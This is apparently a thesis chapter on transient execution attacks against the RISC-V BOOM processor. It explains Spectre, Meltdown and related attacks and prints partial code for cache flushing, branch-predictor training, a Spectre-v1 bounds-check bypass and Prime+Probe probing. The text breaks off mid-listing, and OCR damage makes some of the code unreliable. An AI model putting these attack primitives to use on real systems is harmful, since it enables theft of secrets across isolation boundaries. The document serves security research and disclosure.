Branch Target Buffer: The BTB stores the target addresses of previously taken
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branches. It provides a predicted target address when a branch instruction is en-
countered, allowing the fetch unit to continue doing its operations without having

to wait until the branch is resolved.

e Return Stack Buffer: The RSB is used to predict the addresses of function calls.
It operates as a stack, in fact when a function call is made it pushes the return

address and pops it out when the return is called.

Cache Hierarchy

A critical component of BOOM’s microarchitecture is its cache hierarchy, which plays a
very important role in increasing processor’s performances by reducing the time required
for memory accesses. The cache hierarchy in BOOM is organized in different levels, each
in charge of different and complementary tasks to provide maximum trade-off between

speed, size and performances.

e L1 Cache: The first level cache is the closest to the processor core and it is divided
in two separate parts: The L1 instruction cache, which stores instructions that the
processor fetches from memory and the L1 data cache, which stores the data that

the processor needs to read or write to memory |[8].

e L2 Cache: The second level cache is a larger and slower cache with respect to L1
cache with the main difference that is to be unified. This feature allows for more

flexible use of cache and less direct accesses to main memory |[§].

e L3 Cache: In some implementations of BOOM a L3 cache is included and is the
closest to the memory, indeed it is bigger and slower even than L2 cache, however it
serves as an additional guarantee to minimize further the accesses to main memory
and to retrieve data easier. It is shared across multiple cores, providing a large pool

of frequently accessed data, but with higher latency than L1 and L2 [§].

Cache coherence

BOOM’s microarchitecture also ensures cache coherence through known mechanisms,
which are essential for mantaining data integrity and consistency. In particular the cache

coherence is guaranteed by the MESI protocol.

The MESI protocol is a widely used cache coherence protocol that helps to manage the
state of data in the caches (Modified, Exclusive, Shared, Invalid), preventing issues such

as data corruption and guaranteeing reliable operations across multi-core environments

[3]-
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Translation Lookaside Buffer (TLB)

The BOOM architecture includes a TLB subsystem that is used for virtual-to-physical
address translation, which allows for memory accesses to be done efficiently in its out-of-
order pipeline [9]. In order to manage latency and throughput within a TLB hierarchy
while conforming to RISC-V’s virtual memory requirements, BOOM features multi-level,

speculative TLBs.

In order to hide latencies, BOOM translates virtual addresses speculatively in out-
of-order execution before branches and memory dependencies are resolved, this enables
optimistic execution of load /store operations, but if translations are invalidated later, the

system is put into a problematic state known as a transient state[9).

2.3. Transient Execution Attacks

Modern processors had critical gaps that independent research teams uncovered in early
2018, they were the first ones to find Transient Execution Attacks (TEAs). These issues
were believed to be exploited using performance optimization techniques such as specula-
tive and out-of-order execution. These new discoveries, dubbed as Spectre and Meltdown,
were used to leak sensitive data through manipulation, resulting in a massive threat that

needed a solution [21].

Nature of Transient Execution Attacks

Transient execution attacks aim speculative or erroneous operations in modern proces-
sors to illicitly access sensitive data through microarchitectural side-effects. Differently
from traditional attacks, they target ephemeral operations that are temporarily processed
(e.g., due to branch speculation or out-of-order scheduling) but later discarded due to mis-
prediction or access violations. Although such instructions never commit architecturally,
their execution leaves measurable traces in microarchitectural states (e.g., cache lines,
branch predictor entries, or translation lookaside buffers). Adversaries exploit these ar-
tifacts via timing-based side channels to reconstruct secrets such as encryption keys or
passwords. For example, a transient load accessing protected memory can leave cache
footprints detectable via techniques like Flush+Reload or Prime+Probe, even if the load
itself is later squashed [62].

Categorization of Transient Execution Vulnerabilities

These attacks are classified by their exploitation of specific speculative or transient

mechanisms:
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e Spectre Attacks: The Spectre attacks amplify speculative execution to deceive
the processor into performing operations that include sensitive data, attackers are
then able to manipulate the path of execution causing the sensitive information to
be stored in the cache memory. These stored values can then be retrieved utilizing
side-channel methods. Spectre attacks are further sub-divided into several variants

where each take advantage of different mechanisms of speculative execution [25].

e Meltdown Attacks: Meltdown attempts to take advantage of out-of-order ex-
ecution to remove all memory protection and unlock privileged memory access.
Attackers are able to read sensitive information from the kernel memory through a
user level processes utilizing the technique of transitive execution. The target of this
attack is mainly the boundary created between user applications and the operating

system [30].

e MDS Attacks: These attacks achieve their goal by taking advantage of the vul-
nerabilities of Microarchitectural Data Sampling (MDS) and reveal data held in
different internal bounds of the processor. They make use of Temporary Execution
to claim access to the CPU while it is working on some data, thereby compromising

pieces of information across various borders of security [33].

Transient Execution Attacks

— — I

Spectre Family Meltdown Family MDS Family Inception-based Attacks Other Speculative Attacks

l l l l l

Spectre V1, V2, RSB, V4,
Retbleed, Indirector

Meltdown, LVI Crosstalk, TikTag, SLAM, SCSB Inception Other Speculative Attacks

Figure 2.2: Transient Execution Attacks Family

Impact and Significance

The discovery of transient execution attacks caused a very important re-evaluation of
hardware security models [6]. These vulnerabilities exploit intrinsic microarchitectural
optimizations — once considered benign — to breach isolation guarantees between pro-
cesses, virtual machines, or privilege levels. By transforming speculative pipelines and
shared resources (e.g., caches, predictors) into covert channels, attackers can exfiltrate
secrets across trust boundaries without direct architectural access, this is a menace for
decades of reliance on hardware-enforced separation as a security primitive, exposing sys-

temic risks in performance-driven processor design. The severity stems from the universal
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applicability: cloud multi-tenancy, SGX enclaves, and even IoT firmware are susceptible

to these microarchitectural side-effects [36].

Ongoing research and Mitigations

These attacks aim to dismantle the accepted level of security gap that researches try to
verify and demonstrate. As a reply to these problems, modern researchers as well as the
industry itself has attempted to develop promising countermeasures. These defensively
oriented devices comprise changes to the structure, software corrections, alterations to
compilers and microcode, aiming at providing security to a constantly changing environ-
ment |7].

2.3.1. Mechanisms of Transient Execution Attacks

Recently, microprocessors have applied sophisticated optimization methods in pursuit
of performance maximization. Unfortunately, the risks in such extreme steps are severe,
many of which become vital security threats. This part will examine foundational mech-
anisms such as speculative, out-of-order execution, and branch prediction to comprehend

how transient execution attacks are possible [36].

Speculative Execution

Speculative execution allows processors to execute instructions preventively without
confirmation of their actual need, thus optimizing efficiency. This enables control units to
focus on fulfilling tasks while reducing stalls within pipelines, which enhances the overall
execution rate. When taking control dependencies, like branches, control directions are
resolved in a speculative manner resulting in improved performance by code sections with
highly deviating execution paths. While speculative execution does provide improvements
in speed, its execution is based on transient states of the architecture that persist in

existence even after instruction rollback [62].

Branch Prediction

While executing a particular block of code, if the processor encounters a branch in-
struction (for example, an if-else block), it makes use of a branch predictor, which tries
to estimate the direction in which the subsequent code or program will take. Branch
predictors make these attempts based on previous experiences and guesses, with the aim

of catching the appropriate path with precision, saving execution time|62].
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Commitment of results

As a result, if the prediction turns out to be correct, the results of the speculative
execution are comitted and the processor has indeed saved a lot of time, this means that

the execution continues from that point leading to an increase in performance [62].

Rollback on incorrect prediction

If the branch was wrongly predicted, all the subsequent predictive results to that instruc-
tion are discarded, the processor then reverts changes made by the predictive instructions
and continues from the correct execution paths. All relevant changes are retained, en-
suring the processor’s state is accurately programmed to the actual flow of the program
[62].

Out-of-Order Execution

Out of Order Execution (OoOE) is a very important step in processors’ optimization,
designed to exploit instruction-level parallelism (ILP), as it increases instruction issuing
and enhance performances. OoOE dynamically schedules instructions for execution based
on operand availability rather than their original program order. This decoupling allows
independent instructions to proceed immediately when their input data and functional
units are ready, even if preceding instructions are stalled, increasing the utilization of

processor resources and decreases the amount of wasted idle time. [16]

2.3.2. Structures Exploited by Transient Execution Attacks

This section assesses the most essential processor structures that are most commonly
the targets of advanced attacks, including side-channel and speculative execution attacks.
These structures include branch predictors, instruction pipelines, cache hierarchies, and
reorder buffers and each of these structures in one way or another increases the perfor-
mance of modern CPUs while simultaneously exposes an attack surface [6]. For instance,
speculative execution creates transient states (ephemeral data flows that persist despite
instruction roll-back), while cache coherence protocols leak access patterns via timing vari-
ations, these side-effects arise from design paradigms prioritizing parallelism over strict
execution determinism. Attackers leverage such artifacts to establish covert channels:
speculative load operations, though never architecturally committed and altered cache

line states [6].
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Cache Memories

Modern processors implement multi-level cache hierarchies (L.1/1.2/L3) to mitigate the
latency gap between CPU cores and main memory, in fact, while these structures criti-
cally reduce access latency for frequently used data, their temporal and spatial locality
optimizations inadvertently create microarchitectural side channels. Cache behavior, in
particular state changes during speculative execution, enables malicious actors to infer
sensitive information through timing analysis, even when speculative instructions are

never architecturally committed |[6].

Cache State Changes and Speculative Execution

During speculative execution, processors anticipate data load into cache hierarchies
based on predicted branches outcomes or anticipated memory addresses, these speculative
cache fills occur before resolving permissions (e.g., kernel/user mode checks) or validat-
ing dependencies. While incorrect predictions result in pipeline flushes and instruction
rollback, cache modifications persist beyond speculation windows, leaving exploitable sig-

natures in the form of transient states[62]. For example:

e A mispredicted speculative load to a restricted memory address alters cache line

states, leaving measurable footprints in the form of data accessible in a faster time.

e Concurrent access to shared cache sets by speculative and non-speculative operations

creates contention patterns leakable via Prime+Probe attacks.

This creates a paradoxical security gap: cache hierarchies designed to accelerate correct
execution paths inadvertently retain observable artifacts from incorrect speculative paths
such that advanced attacks exploit this by combining speculative memory accesses with

timing-based side channels to reconstruct secrets from transient cache states.

Side-Channel Exploitation of Caches

As states of the cache can be monitored, caches are very susceptible to side channel
attacks [62].

e Shared Cache Scenarios: For multi-core systems where one cache is shared be-
tween many cores, in this case L3, it is possible that one core can command other to
perform speculative actions, and then measure. This is known as cross-core leakage
where a different core is used to probe the caches after the execution of the primary

workload has completed.

e Granularity of Timing Information: The cache timing granularity is so fine
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that it offers the attackers a reliable and sensitive channel for obtaining information.
Alterations in timing are sufficient in themselves to determine whether an accessed

cache line was referenced speculatively.

Complex Interactions and Mitigation Challenges

Modern caching features add prefetching, replacement policies, and caching coherence
protocols for the purpose of enhancing performance. Unfortunately, these heuristics are
highly prone to subversion. Cache prefetchers have the capability of fetching data even
before it is needed based on how the programs behave. Speculative execution can trigger

prefetches that affect the cache state, leaving detectable traces.

e Replacement Algorithms: Caches are cleared according to the least recently used
(LRU) policy, among other approaches. Transient execution can perform seemingly
benign accesses that change the eviction patterns to indicate the presence or absence

of certain data.

e Multi Core Processors: Keeping coherence among shared multicore processor
caches introduces more timing channels. One core’s speculative actions can change
the state of the cache of the other core, which makes it possible to do cross core or
thread attacks.

Reorder Buffer

The ROB allows instructions to be executed as soon as their operands are ready, irre-
spective of the program order, which increases the efficiency of the instruction processing
and functioning units of the processor. However, this freedom alone combined with the
speculative design of modern execution engines makes the ROB highly attractive for at-

tacks that use transient execution methods.

Speculative Execution and ROB State

Every time the microprocessor comes across a branch it is capable of predicting the
outcome. An attempt is made to fetch, decode and execute instructions along that path,
in cases where speculative predictions are correct, the attempt is ultimately retired in
program order. However, if any attempt is confirmed to be wrong, all speculative instruc-
tions are flushed along with the ROB entries corresponding to the incorrect part in which
are evicted [62].

Even though the speculative entries were never formally committed and marked as

complete, their transient effects were certainly merged with the remaining parts of the
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microarchitecture, such as as the cache or the load/store buffers. Even though the ROB
itself is ultimately cleared of speculative entries, the traces left in other structures—Ilike
altered cache states or updated TLB entries—can be observed. These pieces of evidence

reveal delicate information and altered, concealed states of microprocessor components.

Transient Execution Attacks on the ROB

When it comes to attacks on ROB, it is the speculative and temporary entries in the
ROB which are targeted. Attackers speculatively execute and insert their own portions
of code. This causes the processor to run highly privileged instructions [62|. Here is how

that generally works:

e Spectre style Attacks: The attacker causes a branch misprediction which allows
for certain regions of the ROB to load speculative instructions that rely on secret
information. Even though these instructions are never retired, the speculative load

of sensitive information into registers or caches can be measured [24].

e Meltdown style Attacks: Instructions, due to certain privilege checks, that
should be stopped are permitted to enter the ROB and to be speculatively executed.
While the processor is certain to remove these entries, some of the microarchitectural

states have already been altered, leaving side-channel traces [21].

e Load Value Injection (LVI) and Related Attacks: The attacker sets condi-
tions to assume that the ROB holds speculative load instructions which contain
poisoned data. Even if these instructions are eventually canceled, their effects can
alter subsequent speculative paths or cache states providing a side channel to con-

clude where the poisoned data came from [55].

ROB-Related Side Channels and Observability

What makes the ROB dangerous in the sphere of transient execution attacks is the fact
that ROB is not an isolated structure in the micro architecture, but interacts with a lot

of other performance optimizing elements:

e Can generate prefetch accesses or fill caches: Speculative Instructions are
capable of performing memory functions that result in a measurable change in cache

state, which will enable them to execute [62].

e Might interact with BTB or caches: Stored speculative branches within an
ROB can self influence the behavior of the branch predictor, giving rise to side

channel possibility.
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e Can produce Indirect Indices In load/store buffers and even execution
pipelines: The possibility of speculated entries in the ROB’s not committing can
produce normals shifts in data flow through the pipeline, which in effect can lead

to unexpected microarchitectural traces that could be exploited for attacks|62].

Branch Target Buffer

The BTB predicts branch targets and allows for the speculative fetching and execution
of instructions during the unresolved state of the branch outcome, this, in turn, helps in
maintaining a productive and full processor pipeline and alleviating the negative perfor-
mance impacts caused by branch delays. Unfortunately, the vulnerabilities resulting from

speculative execution can be misused by malicious parties via transient execution attacks

[5].

Speculative Execution and BTB Vulnerabilities

Attackers, through transient execution attacks, can take advantage of the gaps induced
by the speculation aspect of branch prediction. It is critical to remember that any in-
struction executed under speculation, even if deemed to be incorrect at the guess phase,
can still leave significant identifiable remnants in the processors micro-architectural envi-
ronment. These remnants can include varied and adverse cache state modifications, TLB
changes, unused instructions, and several other components which are not reverted when

the guess is proved to be erroneous [5].

Malicious actors can manipulate the BTB by altering the branch execution, which
leads the processor to fetch and execute instructions on a specially chosen path. For
example, someone might deliberately design a piece of code that “infects” the BTB with
a target branch that is sensitive or contains protected resources. These instructions will
be discarded eventually once the processor understands the prediction was wrong, but
during that brief moment of time, the execution can leave traces in the cache or shared

resources [5].

Different Types of BTB-Based Attacks

e Branch Target Injection: In this attack, the attacker controls a code sequence
crafted in a way such that they can fill the BTB with malice so that it contains
incorrect entries. As a result, when the victim’s code attempts to fetch a branch
from the poisoned BTB, it uses the attacker’s constructed path. At this stage,
this speculative execution may place sensitive information into the cache and the

attacker can extract the information when the victim accesses the cache [28].
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e Cross Process and Cross VM Attacks: Several processes or virtual machines
can use BTB simultaneously. An attacker can run some unprivileged code on the
same machine, which allows them to change specific BTB entries of other processes.
This type of cross boundary poisoning allows the user to obtain data from a different
domain [61].

e Indirect Branch Manipulation: Indirect branches can become targets of attack
because their destination is defined while the program is being executed. Speculative
execution can be directed to certain code segments on purpose by intentionally set-
ting one or more BTB entries for indirect branches. The targeted code segments will
produce side effects which can be measured, for example, do some cache operations

which hide important information [12].

Effects of BTB exploitation

The fact that the BTB often spans multiple security domains—such as user processes,
kernel code, and even virtual machines—makes its exploitation particularly dangerous, in
addition, attacks that are based on the BTB do not target known software weaknesses,
such as overflows or logic errors in the programs. Also, they are deeper than the con-
ventional way of spying on its victims by using automatic means. Overhead protections
systems, such as memory isolation or privilege checks are often inefficient due to the fact

that speculative execution occurs before these checks can take effect [5].

Return Stack Buffer

The Return Stack Buffer (RSB) is a microarchitectural component that enables efficient
execution of modern processors’ function calls and returns. The RSB allows the processor
to fetch certain instructions out-of-order, in anticipation of a function return address
calculation. While this mechanism helps reduce pipeline stalls and improves execution
efficiency, it also facilitates the execution of certain functions leading to transitory attacks
6][17.

Speculative Execution and RSB vulnerabilities

Because the RSB operates speculatively, it can be influenced by controlled patterns of
function calls and returns. An attacker can craft code that “poisons” the RSB, filling
it with incorrect return addresses. This allows misleading information to be used as
return addresses. As a result, certain addresses can be assumed and the processor may
speculatively execute instructions at the incorrect address before realizing the mistake and

rolling back the speculated path. As previously said, despite the deletion of the speculative
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path, instrucitions’ effects on other microarchitectural components can persist [17].

RSB-Based Transient Execution Attacks

RSB-based attacks exploit the temporary incorrect predictions made by the RSB. These
techniques typically include:

¢ RSB Poisoning: RSB poisoning is an attack where the adversary fills the RSB by
preloading it with addresses pointing to malicious code or sensitive regions of code.
When the targeted code executes the return instruction, control is transferred to an
address within the adversary’s code, which then changes control to the malicious
code region. Subsequently, control is predicted to be redirected towards sensitive
data being processed resulting with it being cached. Through these modifications,

the attacker can capture timing variations in order to determine what was leaked
[60].

e Cross-Privilege Boundary Exploitation: It is known that the RSB can be
shared between user and kernel space or any two levels of divides in system privileges,
by carefully modifying the interprocedure codes that get invoked, a non-privileged
attacker can control the RSB entries that get utilized by privileged code. This
can allow proccesses to be cross executed without checking infrastructure control.

Therefore, public instruction sets can be used to uncover kernel data [61].

e Cross Process and Cross VM Attacks: In systems with shared RSBs, an
attacker in one process or virtual machine can manipulate the RSB entries so that
another process or VM speculates incorrectly. This type of cross domain attack is

another example of how damaging an RSB can be [61].

Consequences of RSB Exploitation within Side-Channel Attacks

Just like other kinds of speculative execution structures, RSB has certain side operations
which are measurable [17]. An attempt to execute beyond an incorrect return address

can lead to:

e Cache State Changes: Speculative execution at incorrect addresses can load data

into caches, creating timing differences that reveal sensitive information [6].

e Branch Predictor and BTB Interactions: Incorrect speculative paths may
influence other prediction mechanisms, making subsequent predictions less accurate

and easier to manipulate [5].

All these aforementioned microarchitectural side effects make it possible for reconstruc-
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tion of threateningly sensitive data by a malicious user even if the procedure of speculative

execution was never finalized.

Store/Load Buffers

Modern high-performance processors employ load/store buffers to decouple memory op-
erations from pipeline execution, enabling non-blocking memory access and out-of-order
execution, these structures — part of the load-store queue (LSQ) — allow speculative
issuance of memory instructions before resolving dependencies or verifying permissions.
By reordering loads and stores dynamically via memory disambiguation hardware, pro-
cessors hide DRAM latency and maximize memory-level parallelism (MLP). However,
speculative buffer states create observable microarchitectural side channels, particularly

when transient execution accesses restricted memory regions [62].

Speculative Load/Store Vulnerabilities

Speculative execution intensifies vulnerabilities in memory subsystems by permitting
transient loads/stores to access data before security checks (e.g., page table permissions)

complete, for example:

e Speculative Loads: Transiently fetch data from protected kernel memory into
cache hierarchies or registers, unfortunately, even if later rolled back, cache line

modifications remain detectable via timing attacks like Flush+Reload [64].

e Speculative Stores: Temporarily update cache states or buffer entries, creating
contention patterns that leak information through DRAM row hammering or bus

arbitration delays [64].

These operations leave microarchitectural residue, identifiable as persistent state changes

in structures like store buffers, writeback queues, or cache directories.

Load Buffer Attacks

Speculative loads can occur without waiting for previous instructions to complete, mak-
ing load buffers particularly vulnerable to attacks, in certain cases of Transient Execution,

the following scenarios may arise:

e Out of Bound Or Unauthorized Loads: A load may be initiated on memory
from which the process’s access rights are inadequate such that although the pro-
cessor eventually nullifies the operation, the transient data movement can affect the

cache or timing [55].
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e Load Forwarding Exploits: Speculative loads may forward data that has not
been fully processed or authenticate in such a manner that by crafting code that
forces these forwards, an attacker can trigger unintended behaviors, allowing spec-

ulative load forwarding to leak sensitive information [55].

Attacks on Store Buffer

While store buffers represent a less frequent attack surface compared to load buffers,
their speculative handling introduces exploitable transient execution vectors. Key vul-
nerabilities arise from how stores interact with memory subsystems during mispredicted

execution paths.

e Speculative Store Bypass: When processors speculatively issue store operations,
data is buffered temporarily before architectural commitment, if speculation fails
(e.g., branch misprediction or memory dependency violation), these transient stores
are discarded from the pipeline. However, their microarchitectural side effects persist
[64].

Side-Channels and Visibility

Through speculative execution, both store and load buffers can be targeted and ex-

ploited, leading to observable side channel effects:

e Modification of Cache State: Memory operations executed without consider-
ing specific architectural constraints may result in the insertion of certain cache
lines, attackers can analyze timing variations to infer information [6] with known

techniques known as Prime+Probe or FlushReload.

e Timing Variations in Memory Access: Even if there are no architectural state
changes, the timing of load and store operation can change. In our case study,
speculative ones can differ, in fact targeted measurements allow attackers to deduce

sensitive information [6].

e Interactions Between TLB and Page Table: Certain speculative actions that
modify state can also impact the TLB and memory map, introducing subtle changes

that expose details about memory mapping [31].
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2.3.3. Compatibility of BOOM with Transient Execution At-

tacks

BOOM'’s Microarchitecture Vulnerabilities

BOOM, as an out-of-order processor, incorporates many performance-enhancing mi-
croarchitectural features, such as branch prediction, speculative execution, and various
buffers that optimize instruction scheduling, however, these optimizations also make
BOOM vulnerable to transient execution attack families, known to be working on other

processor families like Intel and AMD.

As mentioned earlier, BOOM’s architecture is not robust against speculative execution
attacks due to its focus on achieving high instruction throughput values at the expense
of security. There are also several specific micro-structures in its architecture which en-
dangers and exposes it to a great danger against attacks based on speculative execution.

A few exploitable structures within BOOM'’s microarchitecture include the following:

Branch Predictor and Branch Target Buffer (BTB)

The Berkeley Out-of-Order Machine features an approach for branch prediction as a
means of increasing instruction throughput [8]. This system works by predicting the
outcome of conditional branches, thereby optimizing pipeline stalls that limit execution.
The BTB is a type of cache that holds the addresses of branches that were executed so
that the processor can preemptively execute the follow-up instructions without waiting

for the resolution of the branch.

The branch prediction, which is based on previously performed tasks, proves to be a
security flaw [6]. An example of such exploitation can be seen in BTB poisoning attacks,
where attackers run a predefined series of branch instructions to alter the contents of the
BTB. In doing so, they trick the branch predictor into executing untargeted code. While
it is true that the processor ultimately rejects the consequences of incorrect speculated
execution, the microarchitectural effects of those operations, such as the CPU cache, can
remain. These microarchitectural effects can be used for side-channel attacks to acquire
classified datal6].

Reorder Buffer (ROB)
In BOOM’s Out-of-Order Execution, the Reorder Buffer (ROB) represents a key com-

ponent that allows tracking and sequencing of instructions performed out of order[8]. The

ROB ensures that instructions are committed in their original program order, maintain-
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ing the correct architectural state of the processor. Consequently, this means that the
processor can execute instructions as the operands become available, rather than pursuing
the strict linear order which is prescribed for them. This approach improves efficiency

through reduced idle cycles, and optimization of resource use.

The ROB holds the results of speculative instructions, which are operations that may
not always provide the intended outcome, until the instructions can be validated and com-
mitted. If the prediction done using branch instructions does turn out to be inaccurate,
then those speculative instructions and their associated results are thrown out in order
to maintain the correctness of the program. Even though roll-back has happened, such
casting aside has an impact on the microarchitectural state of the processor [6]. Thus, it

can be utilized for side-channel attacks for extracting classified information.

Return Stack Buffer (RSB)

In order to enhance the efficiency of employing functions, BOOM includes an RSB which
predicts the return target for a function by storing return addresses|8|. Nevertheless, the
abuse of speculative execution can still be done by modifying RSB values to pre-assigned
values. This manipulation can allow for an incorrect speculative execution to be made
while forcing along an incorrect return path which can cause unsafe instructions to be

executed in a transitory state and expose sensitive information citecanella2020evolutionl.

Store-to-Load Forwarding and Load/Store Buffers

With the implementation of Store-to-load forwarding, BOOM does gain access to lower
memory access latencies, but at the risk of unintended consequences by the abuse of
speculative execution. Speculative execution can be abused in this case by establishing
false dependencies between the loads and stores [8]. An attacker can change the value
of the speculatively loaded variable in a transitory window before actual memory access

permissions are authenticated, which can cause sensitive information to be leaked [6].

Cache Hierarchy and Speculative Data Access

BOOM utilizes the standard multi-level cache hierarchy, containing L1 and L2 caches,
and like many other features, it has a large impact on the threat model of transient execu-
tion attacks [8]. In particular, in the case of speculative execution, when an unauthorized
memory region is accessed, the cache is updated even though the action is canceled, re-
sulting in remnants. Hence, these changes lead to noticeable timing discrepancies that
can be manipulated by side-channel attacks based on cache memories, like Prime-+Probe

and Flush-+Reload, where attackers can deduce sensitive information using plausible as-
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sumptions [6].

Translation Lookaside Buffer (TLB) and Page Table Walks

Like other modern processor cores, BOOM employs TLB caching of virtual-to-physical
memory mappings to speed up address translation [9]. Speculative execution can also
initiate TLB accesses today even within unauthorized memory regions. If these accesses
do result in a page fault, then speculative execution will probably continue to be allowed
in some transient state, thereby leaking information in the form of timing differences in

TLB access patterns or page table walk sequences [6].

This set of vulnerabilities creates a combination that makes BOOM still more vulner-
able to attacks based on transient execution. This form of development accompanied
with its open-source nature underscores the necessity of implementing robust security
measures, such as fine-grained speculation barriers, speculative execution fences, and en-

hanced branch predictor hardening, to mitigate potential exploitation.
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3 ‘ Porting of Transient Execution
Attacks

3.1. Porting Strategy

The adaptation of existing microarchitectural attacks to RISC-V architectures requires
careful consideration of architectural differences and missing hardware primitives. This
section outlines the key challenges and our approach to implementing crucial attack prim-

itives in the BOOM processor.

The RISC-V architecture presents unique challenges for porting cache-based side-channel

attacks originally designed for x86 or ARM architectures:

e Lack of Native Cache Control: Unlike x86’s CLFLUSH instruction, RISC-V lacks
explicit cache management instructions, requiring software-based cache eviction

strategies.

e Non-Deterministic Cache Hierarchy: Open-source implementations like BOOM
allow configurable cache parameters, necessitating runtime detection or architecture-

specific tuning.

e Timing Precision: The absence of high-resolution timing instructions (RDTSC-
equivalent) requires alternative timing mechanisms using performance counters or

memory-access patterns.

Our implementation strategy focuses on developing reliable cache manipulation primi-
tives while maintaining architectural portability. The core component is a software-based

cache flushing mechanism implemented through carefully crafted memory access patterns.

The cache flushing mechanism operates by forcing evictions through strategic memory
accesses to a specially allocated dummy buffer. The implementation consists of two key
components [20]:

1 #define L1_SETS 64
2/ #define L1_SET_BITS 6
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#define L1_WAYS 8

#define L1_BLOCK_SZ_BYTES 64

#define L1_BLOCK_BITS 6

#define L1_SZ_BYTES (L1_SETS*L1_WAYS*L1_BLOCK_SZ_BYTES)

/% Address decomposition masks */

#define FULL_MASK OxFFFFFFFFFFFFFFFF

#define OFF_MASK (" (FULL_MASK << L1_BLOCK_BITS))

#define TAG_MASK (FULL_MASK << (L1_SET_BITS + L1_BLOCK_BITS))
#define SET_MASK (“(TAG_MASK | OFF_MASK))

Listing 3.1: Cache Parameters Definition

The flushing algorithm works as follows:

1. Allocate a contiguous dummyMem buffer sized to 5x L1 cache capacity to ensure as-

sociativity coverage
2. Calculate target set indices from the input address range

3. Perform sequential accesses to all ways in target sets, exploiting the cache’s LRU
replacement policy
void flushCache (uint64_t addr, uint64_t sz) {

uint64_t numSetsClear = sz >> L1_BLOCK_BITS;
if ((sz & OFF_MASK) != 0) numSetsClear++;

uint64_t alignedMem = (((uint64_t)&dummyMem) + L1_SZ_BYTES)
& TAG_MASK;

for (uint64_t i = 0; i < numSetsClear; ++i) {
uint64_t setOffset = (((addr & SET_MASK) >> L1_BLOCK_BITS) + i)
<< L1_BLOCK_BITS;

for(uint64_t j = 0; j < 4*xL1_WAYS; ++j) {
uint64_t wayOffset = j << (L1_BLOCK_BITS + L1_SET_BITS);

volatile uint8_t dummy = *((uint8_tx*) (alignedMem
+ setOffset + wayOffset));

Listing 3.2: Core Flushing Algorithm

Key implementation details:
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e Associativity Coverage: The inner loop accesses 4x the number of ways to

account for potential cache banking and prefetching

e Address Alignment: The alignedMenm calculation ensures proper set/index align-

ment within the dummy buffer

e Set Selection: The setOffset computation targets specific cache sets based on

the input address’s set bits

e Way Exhaustion: Repeated accesses to different ways (via wayOffset) force evic-

tions through the replacement policy

This approach achieves cache set clearing through these carefully engineered access
patterns rather than direct cache control instructions. The implementation was validated
through performance counter measurements and timing analysis across different BOOM

configurations [20].

3.1.1. Overview Of Experimented Attacks

In the context of transient execution attacks, it is essential to understand which microar-
chitectural components are exploited, more specifically related to the attacks considered
in this work. Table 3.1 summarizes the main attacks (e.g., Spectre, Meltdown, etc.) along

with the vulnerable mechanisms/structures they exploit:

e Speculative Execution: indicates the use of speculative execution as attack sur-

face.

e Branch Predictor: highlights the employment of branch prediction to perform
the attack.

e Return Stack Buffer: shows the use of the return stack buffer.

e Store-to-Load Forwarding: refers to the store/load forwarding mechanism.
e Cache Timing: indicates the exploitation of cache timing techniques.

e Privileged Memory Access: signals accesses to privileged memory.

e Shared Microarchitectural Resources: points to the involvement of shared

microarchitectural resources.

Each column of the table marks with an "X" if the specific attack exploits the correspond-
ing mechanism such that this compact representation allows for a quick comparison of

different attack techniques and the identification of common hardware vulnerabilities.
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Table 3.1: Transient Execution Attacks and Exploited Architectural Features

Attack SpeculativBranch  Return  Store-to- Cache Privileged Shared
Execu- Predic- Stack Load Timing Memory Microarchi-
tion tor Buffer Forward- Access tectural
ing Resources
Spectre V1 (BCB) X X X
Spectre V2 (IBM) X X X
Spectre V4 (SSB) X X X
Spectre RSB X X X
Indirector X X X X X
RetBleed X X X X
Meltdown X X X
Misaligned Meltdown X X X
Load Value Injection X X X X
SCSB X X X
Inception X X X X

3.2. Porting of Individual Attacks

3.2.1. Spectre Variant 1: Bounds Check Bypass

This section details a RISC-V implementation of the Spectre-v1 attack targeting condi-
tional branch prediction in BOOM processors. The attack demonstrates how speculative
execution through mispredicted bounds checks can leak sensitive data via cache side chan-

nels.

Spectre Variant 1, better known as ‘Bounds Check Bypass’, is a type of execution
attack that takes advantage of the speculative execution processes of modern processors,
specifically the ones performed during conditional branches. Specifically, it targets the
scenario in which an array bounds check is performed in software to ensure memory-safe
behavior, but under speculation, the processor may execute instructions that assume the

condition (i.e., that the index is in-bounds) is true.

While the processor will eventually recognize the misprediction and attempt to correct
it, the inaccurate estimate still has the potential to cause notable microarchitectural side
effects. In practical terms, an attacker can create sequences of code so that out-of-bounds
data affects certain hardware structures, typically caches, that continue to exist after the
speculation attempt is rolled back. The attacker can then measure the caused side effects,
like the time it takes to access a cache line, and use that to figure out what value is stored

in the accessed memory.

The fundamental understanding of Spectre Variant 1 stems from the distinction made
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within a system between the execution correctness of a program, which would remove
invalid actions, and the micro-level optimizations that are done to the program, like
the caching behavior and the logic of branch prediction. Due to the fact that not all
microarchitectural influences are reverted after a misprediction is realized, it is possible to
covertly obtain and leak secret data, which is speculatively read, through a covert channel
even when it is architecturally unreachable. This exposes a critical security issue with
processors designed for performance improvement through speculation, because software
that is structurally risk-free can still be fundamentally dangerous when processed under

speculation optimizations.

Attack Core Mechanism
The implementation exploits three key components:
1. Mispredicted bounds check: Speculative execution beyond array bounds
2. Secret-dependent cache load: Transient access encoding secret bits

3. Prime-+Probe analysis: Statistical recovery of cache access patterns

Victim Function with Speculative Bypass

The vulnerable function contains a critical bounds check bypassed through speculation:

void victimFunction(uint64_t idx) {

uint8_t temp = 2;

// Artificial latency creation

arrayl_size = arrayl_size << 4;

asm("fcvt.s.lu fa4, %[inl"); // FPU-based delay
// ... (additional FP operations)

if (idx < arrayl_size) { // Mispredicted branch

temp = array2[arrayl[idx] * L1_BLOCK_SZ_BYTES]; // Speculative

access

Listing 3.3: Bounds Check Bypass

The floating-point unit (FPU) operations delay arrayl_size computation, widening

the speculation window for branch misprediction.
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Branch Predictor Training

The attack alternates between valid and malicious indices to train the predictor:

1 for(int64_t k = ((NUM_TRAIN+1+(round&1))*NUM_ROUNDS)-1; k >=0; --k) {
2 inputIdx = randomIdx ~ (inputIdx & (attackIdx ~ randomIdx));

1 // Insert prediction steering mno-ops
for(uint64_t 1=0; 1<30; ++1) { asm(""); }

7 victimFunction (inputIdx); // Train branch history

Listing 3.4: Branch Training Logic

The NUM_TRAIN=6 parameter saturates BOOM’s 2-bit branch history counter to estab-

lish predictable misbehavior.

Cache Probing Implementation

The prime+probe implementation uses BOOM-specific cache characteristics:

| for (uint64_t m=0; m<256; m++) {
2 startTime = rdcycle();
temp &= array2[m * L1_BLOCK_SZ_BYTES];

